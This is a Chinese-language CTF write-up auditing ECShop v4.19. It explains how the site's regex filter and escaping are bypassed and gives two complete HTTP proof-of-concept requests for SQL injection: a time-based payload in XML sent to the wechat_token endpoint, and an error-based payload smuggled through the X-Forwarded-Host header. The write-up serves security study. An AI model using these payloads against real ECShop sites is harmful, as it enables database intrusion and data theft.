Ecshop4.19代码审计

版本 :v4.19

强网拟态的一道题,网上大多都不公开poc,这里分享一下我的分析过程

安全机制

去网上搜索一下历史漏洞会发现,ECshop这套代码爆出过不少sql注入漏洞

image-20251117222708755

是因为这套系统很喜欢直接把变量拼接到sql语句中(看起来已经被各位师傅审烂了)

修修补补之后,即使直接拼接变量,也不太好找sql注入了,主要是以下两个地方增加了安全校验

image-20251117223139960

每个文件都会引入加载 /includes/init.php,安全的检查主要在这个文件里

进入init.php可以看到,加载了一个safety.php

image-20251117223543051

模式匹配

safety.php 里,使用正则匹配去匹配危险模式

image-20251117223648661

会对每个传入的变量进行校验

image-20251117223745509

匹配的较为完善,不是很好绕

并且在正则匹配过后,还会在init.php里对传入变量进行转义

image-20251117224018264

正则匹配 + 转义,看起来已经无法sql注入了,接下来看各位大哥如何绕过

SQL注入-1

先放poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /user.php?act=wechat_token HTTP/2
Host: x.x.x.x
Cookie: ECS[visit_times]=3; ECS_ID=591272e1d0fd2ee9027c0d7ab0d8922e92035a0d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Length: 195

<?xml version="1.0"?>
<user>
<Event>scan</Event>
<EventKey>' AND (SELECT 1649 FROM (SELECT(SLEEP(5)))nsIj) AND 'RKvz'='RKvz</EventKey>
<FromUserName>123456</FromUserName>
</user>

image-20251117224438068

根据poc可以知道,user.phpwechat_token接口的漏洞,看代码

image-20251117224612949

实例化一个WeChatEvent —> 用php伪协议拿到请求体 —-> 然后xml转为字符串 —–> 最后用call_user_func去调用方法
注意到两点,1. 使用php伪协议,导致传入的参数并没有转义,也不会被检测,之前的检测全部针对于get和post传参

2.call_user_func_array 的方法名和数据是用户可控

然后去看WeChatEvent

image-20251117225151828

全部是直接拼接,最后导致注入

SQL注入-2

已知大量存在变量直接拼接sql语句,上面是利用php伪协议进行的绕过,这里第二处利用的是http请求头
注入位置在 user.phpcollection_list 接口

这个是在 2.X/3.X 就爆出来的,只是拿先前版本的打不通,但是只需简单修改就能使用(为什么呢,因为版本不同导致的ehash不同罢了🤪)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /user.php?act=collection_list HTTP/2
Host: x.x.x.x
Cookie: ECS[visit_times]=3; ECS_ID=591272e1d0fd2ee9027c0d7ab0d8922e92035a0d; ECSCP_ID=4b2401b5af4843a95a7e19b45f5acb32ec20802b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
X-Forwarded-Host: 145ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|145ea207d7a2b68c49582d2d22adf953a
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

利用链

1
url() --> get_domain()替换变量 --> display() --> insert_mod() 这里分割参数 --> 最后变量拼接sql语句

先看insert_mod方法
image-20251117230742066

对传入的参数 以|分割,然后调用函数,也就是说我们可以任意调用insert_开头的方法,参数也是由我们定
所以去找满足条件的函数
image-20251117230918937

lib_clips.php里就有这么一个函数

collection_list 接口也会包含这个文件

image-20251117231044074

接下来看url方法

触发get_domain

image-20251117231140953

get_domain会把http请求头中的HTTP_X_FORWARDED_HOST赋值给$host, 然后返回

image-20251117231440342

smarty注册,返回的host被注册进模板变量

image-20251117231503425

最后在display函数里触发sink点,完成闭环

所以最后的流程就是

1
url() --> get_domain()替换变量 --> assign注册变量--> display的时候对变量进行处理,触发insert_mod()  --> insert_mod 这里分割参数,调用用户设定好的函数和参数 --> 最后调用函数,传入参数拼接sql语句

aa6e087f479c0cc395f24417c6fa08e